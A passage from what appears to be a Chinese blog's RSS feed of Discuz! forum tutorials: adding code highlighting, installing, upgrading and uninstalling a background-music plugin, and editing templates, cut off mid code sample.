<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/link.html"><span style="color: #000000; font-weight: bold;">link</span></a> <span style="color: #000066;">rel</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;stylesheet&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;include/my/codecolorer.css&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span> <span style="color: #000066;">media</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;screen&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></div></td></tr></tbody></table></div>
<p>5,到dz后台添加自定义 Discuz! 代码按钮:<br />
<a href="http://static.ihacklog.com/wp-files/2009/11/discuz_bbcode.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2009/11/discuz_bbcode-550x303.png" alt="discuz_bbcode" title="discuz_bbcode" width="550" height="303" class="alignnone size-medium wp-image-2995" /> </a></p>
<p><a href="http://static.ihacklog.com/wp-files/2009/11/php_discuz_highlight.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2009/11/php_discuz_highlight-550x285.png" alt="php_discuz_highlight" title="php_discuz_highlight" width="550" height="285" class="alignnone size-medium wp-image-2997" /> </a></p>
<p><a href="http://static.ihacklog.com/wp-files/2009/11/dz_highlight_result.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2009/11/dz_highlight_result-550x321.png" alt="dz_highlight_result" title="dz_highlight_result" width="550" height="321" class="alignnone size-medium wp-image-2998" /> </a></p>
<p>ps:如果插入代码的框想要像我图中所示是一个文本域的话，要修改一下/include/js/post.js ,查找：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> promptlang <span style="color: #339933;">=</span> custombbcodes<span style="color: #009900;">&#91;</span>tag<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'prompt'</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>将它下面的：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">str <span style="color: #339933;">+=</span> <span style="color: #009900;">&#40;</span>promptlang<span style="color: #009900;">&#91;</span>i <span style="color: #339933;">-</span> <span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">?</span> promptlang<span style="color: #009900;">&#91;</span>i <span style="color: #339933;">-</span> <span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #3366CC;">'请输入第 '</span> <span style="color: #339933;">+</span> i <span style="color: #339933;">+</span> <span style="color: #3366CC;">' 个参数:'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&lt;br /&gt;&lt;input type=&quot;text&quot; id=&quot;'</span> <span style="color: #339933;">+</span> ctrlid <span style="color: #339933;">+</span> <span style="color: #3366CC;">'_param_'</span> <span style="color: #339933;">+</span> i <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&quot; style=&quot;width: 98%&quot; value=&quot;&quot; class=&quot;txt&quot; /&gt;'</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">&lt;</span> params <span style="color: #339933;">?</span> <span style="color: #3366CC;">'&lt;br /&gt;'</span> <span style="color: #339933;">:</span> <span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>替换为：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">str <span style="color: #339933;">+=</span> <span style="color: #009900;">&#40;</span>promptlang<span style="color: #009900;">&#91;</span>i <span style="color: #339933;">-</span> <span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">?</span> promptlang<span style="color: #009900;">&#91;</span>i <span style="color: #339933;">-</span> <span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #3366CC;">'请输入第 '</span> <span style="color: #339933;">+</span> i <span style="color: #339933;">+</span> <span style="color: #3366CC;">' 个参数:'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&lt;br /&gt;&lt;textarea id=&quot;'</span> <span style="color: #339933;">+</span> ctrlid <span style="color: #339933;">+</span> <span style="color: #3366CC;">'_param_'</span> <span style="color: #339933;">+</span> i <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&quot; style=&quot;width: 98%&quot; cols=&quot;50&quot; rows=&quot;5&quot; class=&quot;txtarea&quot;&gt;&lt;/textarea&gt;'</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">&lt;</span> params <span style="color: #339933;">?</span> <span style="color: #3366CC;">'&lt;br /&gt;'</span> <span style="color: #339933;">:</span> <span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=2993";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=2993" title="Permanent Link to discuz7.1php、C语言代码高亮方法" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=2993</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2011年04月28日  //  <a href="http://ihacklog.com/php/drupal/drupal-code-highlight-module-geshifilter-usage.html" title="drupal代码高亮模块geshifilter的安装和使用">drupal代码高亮模块geshifilter的安装和使用</a> (1)</li><li>2011年09月3日  //  <a href="http://ihacklog.com/php/markdown-intro.html" title="Markdown 的使用介绍">Markdown 的使用介绍</a> (0)</li><li>2011年08月2日  //  <a href="http://ihacklog.com/php/skills/30-php-best-practices-for-beginners.html" title="给初学者的30条PHP最佳实践">给初学者的30条PHP最佳实践</a> (7)</li><li>2011年08月2日  //  <a href="http://ihacklog.com/php/skills/10-advanced-php-tips-revisited.html" title="10条PHP高级技巧[修正版]">10条PHP高级技巧[修正版]</a> (5)</li><li>2011年07月10日  //  <a href="http://ihacklog.com/software/development-tool/install-cool-theme-for-netbeans-ide.html" title="给NetBeans IDE 换衣服">给NetBeans IDE 换衣服</a> (7)</li><li>2011年07月10日  //  <a href="http://ihacklog.com/php/skills/install-phpdocumentor-pear-package.html" title="安装PhpDocumentor PEAR包">安装PhpDocumentor PEAR包</a> (1)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/discuz/discuz7-1php-code-highlight.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>discuz背景音乐插件v4.0版</title>
		<link>http://ihacklog.com/php/discuz-forum-bg-music-v4-0.html</link>
		<comments>http://ihacklog.com/php/discuz-forum-bg-music-v4-0.html#comments</comments>
		<pubDate>Sun, 23 Aug 2009 03:42:33 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP原创]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[音乐插件]]></category>

		<guid isPermaLink="false">http://blog.thinkstd.com/?p=2415</guid>
		<description><![CDATA[discuz官网插件地址：http://www.discuz.net/thread-1327959-1-1.html 示例网站：http://bbs.fengyeting.cn ＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ 这是继发布v3.0的又一个版本了 首先感谢各位的支持，本人做这个插件首先的目的完全是出于自己论坛的需要，后来把它发布到了DZ官网，没想到有那么多朋友需要，于是从最初支持discuz6.0 到现在的discuz7.0 ，插件一直在更新和完善中。...]]></description>
			<content:encoded><![CDATA[<p>discuz官网插件地址：<a href="http://www.discuz.net/thread-1327959-1-1.html">http://www.discuz.net/thread-1327959-1-1.html</a><br />
示例网站：<a href="http://bbs.fengyeting.cn">http://bbs.fengyeting.cn</a><br />
＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
这是继发布v3.0的又一个版本了<br />
首先感谢各位的支持，本人做这个插件首先的目的完全是出于自己论坛的需要，后来把它发布到了DZ官网，没想到有那么多朋友需要，于是从最初支持discuz6.0 到现在的discuz7.0 ，插件一直在更新和完善中。<br />
感谢各位提出宝贵建议（这里尤其要感谢“蓝忧”同志～～）。<br />
＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</p>
<p>敬告：本插件适用于discuz7.0 GBK版，开发此插件纯属业余爱好,在发布本插件前，我都经过多次测试，一般都不会出现什么问题，但是我并不能保证你在使用过程中不会出现什么问题。在此声明，由于使用本插件造成的任何问题本人不承担任何责任，您使用本插件代表您认可本约定。</p>
<p>＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</p>
<p>discuz背景音乐插件v4.0版 新特性</p>
<p>1，增加了多款漂亮的皮肤，管理员可以后台的背景音乐插件设置里设置皮肤风格。</p>
<p>2，在首页播放器处新增了播放列表，当用户将鼠标悬浮在播放器上时，播放列表出现；当用户移开鼠标时，播放列表自动消失。点击播放列表中相应的歌曲可以播放该项目。</p>
<p>3，打开“音乐盒”时智能播放与停止。<br />
这里由于IE与FIREFOX不是完全兼容，所以分两种情况：<br />
对于firefox用户：<br />
假设首页正在播放音乐，当用户打开“音乐盒”时，自动播放音乐盒里的歌曲，首页的音乐会自动消失，避免两处音乐同时播放；再进入首页时，音乐条会重新出现。</p>
<p>对于IE 用户：<br />
假设首页正在播放音乐，当用户开“音乐盒”时，自动播放音乐盒里的歌曲，首页的音乐会自动暂停，避免两处音乐同时播放；再进入首页时，首页音乐会从刚才暂停处继续开始播放。</p>
<p>3，后台的“背景音乐管理“里增加了显示相应歌曲的用户名的功能，点击相应的用户名可以查看该用户的资料。<br />
4，后台“参数设置”里增加了“皮肤”、“首页播放列表高度” 等选项，并且单位为像素的都去掉了px,大家修改时注意不要加单位。</p>
<p>＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
插件安装要求：</p>
<p>php4.3.0 以上，最好是php5<br />
MySQL 4.3以上，最好是MySQL5</p>
<p>客户端：<br />
microsoft Internet Exploer 6 以上,最好为IE 8<br />
Firefox 2以上，最好为firefox 3</p>
<p>＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</p>
<p>一，安装方法:</p>
<p>0，建议先做好论坛备份(数据库和文件备份）再安装此插件，尽管经本人多次实验，在安装过程中不会造成什么问题。</p>
<p>1，暂时关闭论坛（在DZ后台，“全局”－－＞“站点信息”，在“论坛关闭:”处点选“是”）。</p>
<p>2，进去discuz后台，“全局”&#8211;>”站点信息“，将”首页文件名“值设置为 index2.php  ,然后用FTP工具连接论坛FTP，将论坛根目录下的index.php文件重命名为  index2.php</p>
<p>3，上传文件，插件的压缩包解压后，有如下文件和目录:<br />
Creative Commons Legal Code.txt     （不用上传它） cc协议<br />
皮肤调整参数.txt       （不用上传它）这个是你修改播放器皮肤后需要调整个参数说明文件<br />
常见问题.txt           （不用上传它）其中列出了常见的一些问题及其解决办法<br />
readme.txt  		（不用上传它）  	这是说明文件<br />
discuz_plugin_bg_music.txt （不用上传它）这个是插件的导入文件<br />
index.php  				这个是论坛首页文件<br />
plugins  				这个文件里包含插件文件夹bg_music<br />
templates				这个文件夹下包含要替换的论坛模板</p>
<p>如果你用的是flashFXP等FTP工具，那么只要直接全部上传就行了，遇到同名文件，它会问你是覆盖还是跳过，这时你只要选择“全部覆盖”即可。不要担心它会把你的整个目录替换掉，实际上它不会的，它实际上是合并加覆盖，也就是你存在的文件它不动你的（如果有同名的就会问你怎么处理），不存在的它给你加上。 这个问题其实我不说你们也知道，只是说一下，有些朋友不知道，怕出问题，上传插件时一个一个文件地上传，这样效率太低了。这是外话，不说了。</p>
<p>4，导入插件<br />
在后台，“扩展“－－＞“论坛插件”－－＞“导入”，点“浏览”选择discuz_plugin_bg_music.txt这个文件，然后点“提交”，提示导入成功就表示没有什么问题了，事实上这里一般是不会出问题的，除非你以前安装过这个插件然后又没有缷载掉。<br />
导入成功后在““扩展“－－＞“论坛插件”－－＞”设置“里，点”背景音乐管理“来安装插件，这里会建立必要的数据表，提示安装成功就OK啦。<br />
如果出问题，那么有可能是你以前安装过该插件，但是没有完全缷载掉它（相应的表还在数据库里）。关于如何完全缷载掉本插件，下面我有专门说明，这里先不说。  </p>
<p>5，插件设置<br />
“扩展“－－＞“论坛插件”－－＞“背景音乐”－－＞“参数设置”：</p>
<p>“是否已经安装插件”：  如果你是升级，那么请确保将该项的值为“是“。</p>
<p>“皮肤“：你可以选择播放器的皮肤，如果你修改了这个，那么到首页看到的播放条可能会上面有不该出现的东东出现，可能是白色的东东，也可能是黑色的。这时，你就要调整“首页播放列表高度”和“首页播放条高度”了，但是这两都加起来不能起来190 。</p>
<p>“背景音乐默认调用ID”  ：这个默认为1  ，一般是论坛管理员兼创始人，你也可以把它设置为其它用户，这样首页背景音乐默认就调用的是你设置的那个用户的。如何知道用户的ID？这个我想大家应该都知道，但为了照顾全面，我还是说一下，查看会员信息时，其链接类似于“http://www.yourdomain.com/space.php?uid=1“  或者“http://www.yourdomain.com/space-uid-1.html”    这里uid后面的数字就是用户ID了。</p>
<p>6,最后别忘记开启论坛哦～</p>
<p>＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</p>
<p>二，升级方法：<br />
   这个版本名为4.0，实际上它不是3.0的升级版 ，它是以前改进后的2.0全站播放版的升级版。<br />
   为了突出这个版本与以前版本的不同，因此将之命名为4.0版，较之以前的版本有很多改进。</p>
<p>   如果你以前安装过“dz_bg_music_playerv2.0_build20090606am_FOR_ie“ 或者其它2.0全站播放版，那么你可以很容易升级到该版本。注意，“bg_music_jiandanbanv3.0modified”不可以直接升级到该版本。</p>
<p>   升级步骤：<br />
   1，首先在后台关闭论坛，再在后台插件管理处删除这个插件，然后在这里重新导入新版本的插件的导入 文件discuz_plugin_bg_music.txt   ，导入成功后可继续下在的操作。</p>
<p>   2，删除  论坛根目录/plugins   下的  bg_music  目录.<br />
   3，上传插件压缩包里的所有相应文件，全部选择覆盖。这样就OK了。</p>
<p>  3最后别忘记开启论坛哦～</p>
<p>＝＝＝＝＝＝＝＝＝＝＝＝discuz背景音乐插件v4.0版＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝</p>
<p>三，完全卸载本插件的方法</p>
<p>如果你觉得不需要用这个插件了，你可以按以下方法完全卸载它：</p>
<p>1，首先，到后台关闭论坛,并把首页文件名改回 index.php   ，再到论坛插件－－＞“管理”里删除本插件。</p>
<p>2，删除index.php文件，把你的index2.php （这个实际上就是你原来的index.php）重命名为 index.php</p>
<p>3,删除  论坛根目录/plugins   下的  bg_music  目录，<br />
删除 论坛根目录/templates/default目录下的   memcp_music_footer.htm  、memcp_music_admin_header.htm 、 memcp_music_header.htm  这三个文件。</p>
<p>4，用你备份的文件覆盖  论坛根目录/templates/default目录下的login.htm  ,header.htm  这两个文件</p>
<p>5，删除插件的表。如果你以后不打算使用本插件了，那么你可能想连表也一并全部删除。<br />
那么你可以到论坛后台的“工具”－－＞“数据库” －－＞“升级”  ：<br />
在“Discuz! 数据库升级 &#8211; 请将数据库升级语句粘贴在下面”  这句话下面有一个文本域，将下面语句粘贴在这个文本域里：</p>
<div class="codecolorer-container sql default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">DROP</span> <span style="color: #993333; font-weight: bold;">TABLE</span> <span style="color: #ff0000;">`cdb_music_info`</span>;<br />
<span style="color: #993333; font-weight: bold;">DROP</span> <span style="color: #993333; font-weight: bold;">TABLE</span> <span style="color: #ff0000;">`cdb_play_mod`</span>;<br />
<span style="color: #993333; font-weight: bold;">DROP</span> <span style="color: #993333; font-weight: bold;">TABLE</span> <span style="color: #ff0000;">`cdb_user_music`</span>;</div></td></tr></tbody></table></div>
<p>注意，其中的cdb_为表前缀，如果你的表前缀不是这个，请替换为你自己的。</p>
<p>然后点击文本域下面那个提交（就是最下在那个提交 ）。<br />
如果提示“Discuz! 数据结构成功升级，影响的记录行数 0，请返回。”表示已经成功删除插件建立的表了。</p>
<p>至此，插件已经完全删除了。<br />
插件下载：<br />
注意：该页面嵌入了下载文件，请访问 <a href="http://ihacklog.com/php/discuz-forum-bg-music-v4-0.html">该页面</a>下载该文件。<br />
<a href="http://static.ihacklog.com/wp-files/2009/08/playlist_hover.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2009/08/playlist_hover.png" alt="playlist_hover" title="playlist_hover" width="800" height="400" class="alignnone size-full wp-image-2424" /> </a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=2415";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=2415" title="Permanent Link to discuz背景音乐插件v4.0版" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=2415</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2011年09月3日  //  <a href="http://ihacklog.com/php/markdown-intro.html" title="Markdown 的使用介绍">Markdown 的使用介绍</a> (0)</li><li>2011年08月20日  //  <a href="http://ihacklog.com/php/habari/tinyfader-for-habari.html" title="Tinyfader for Habari">Tinyfader for Habari</a> (0)</li><li>2011年08月20日  //  <a href="http://ihacklog.com/php/habari/trackback-plugin-for-habari.html" title="原创插件：trackback plugin for Habari">原创插件：trackback plugin for Habari</a> (2)</li><li>2011年08月20日  //  <a href="http://ihacklog.com/php/habari/hb-quicktags.html" title="原创插件：HB quicktags">原创插件：HB quicktags</a> (4)</li><li>2011年08月20日  //  <a href="http://ihacklog.com/php/habari/hb-smilies.html" title="原创插件：HB smilies">原创插件：HB smilies</a> (3)</li><li>2011年08月20日  //  <a href="http://ihacklog.com/php/habari/infinitescroll-for-habari.html" title="原创插件：infiniteScroll for Habari">原创插件：infiniteScroll for Habari</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/discuz-forum-bg-music-v4-0.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>音乐插件如何自己修改模板</title>
		<link>http://ihacklog.com/php/discuz/dz-bg-music-plugin-how-to-modify-mb.html</link>
		<comments>http://ihacklog.com/php/discuz/dz-bg-music-plugin-how-to-modify-mb.html#comments</comments>
		<pubDate>Tue, 16 Jun 2009 15:41:05 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>

		<guid isPermaLink="false">http://blog.thinkstd.com/?p=2364</guid>
		<description><![CDATA[1，对header.htm 这个文件 在templates\xxxx (这里的xxxx代表你的模板名称) 在大概是第20行 1&#60;script type=&#34;text/javascript&#34; src=&#34;include/js/common.js?{VERHASH}&#34;&#62;&#60;/script&#62; 下加入如下代码： 1234567891011&#60;script type=&#34;text/javascript&#34; src=&#34;./plugin...]]></description>
			<content:encoded><![CDATA[<p>1，对header.htm<br />
这个文件 在templates\xxxx   (这里的xxxx代表你的模板名称)<br />
在大概是第20行</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;include/js/common.js?{VERHASH}&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a>&gt;</span></div></td></tr></tbody></table></div>
<p>下加入如下代码：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;script type=&quot;text/javascript&quot; src=&quot;./plugins/bg_music/js/sendtoedite.js&quot;&gt; &lt;/script&gt;<br />
<span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #339933;">&lt;!--</span>论坛背景音乐<br />
<br />
　　<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>top.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #339933;">==</span><span style="color: #3366CC;">&quot;{$boardurl}index2.php&quot;</span><span style="color: #009900;">&#41;</span><br />
　<span style="color: #009900;">&#123;</span>　<br />
　top.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;{$boardurl}&quot;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
　　<br />
<span style="color: #006600; font-style: italic;">// --&gt;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></td></tr></tbody></table></div>
<p>如果是3.0版的那个（discuz7.0论坛背景音乐插件v3.0（全站播放,带播放列表））或者是dz_bg_music_playerv2.0_build20090606am_FOR_ie.rar<br />
则是加入这个代码：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;script type=&quot;text/javascript&quot; src=&quot;./plugins/bg_music/js/sendtoedite.js&quot;&gt; &lt;/script&gt;<br />
&lt;script type=&quot;text/javascript&quot; src=&quot;./plugins/bg_music/js/packed.js&quot;&gt; &lt;/script&gt;<br />
&lt;link rel=&quot;stylesheet&quot; href=&quot;./plugins/bg_music/style.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&gt;<br />
<br />
<span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #339933;">&lt;!--</span>论坛背景音乐<br />
<br />
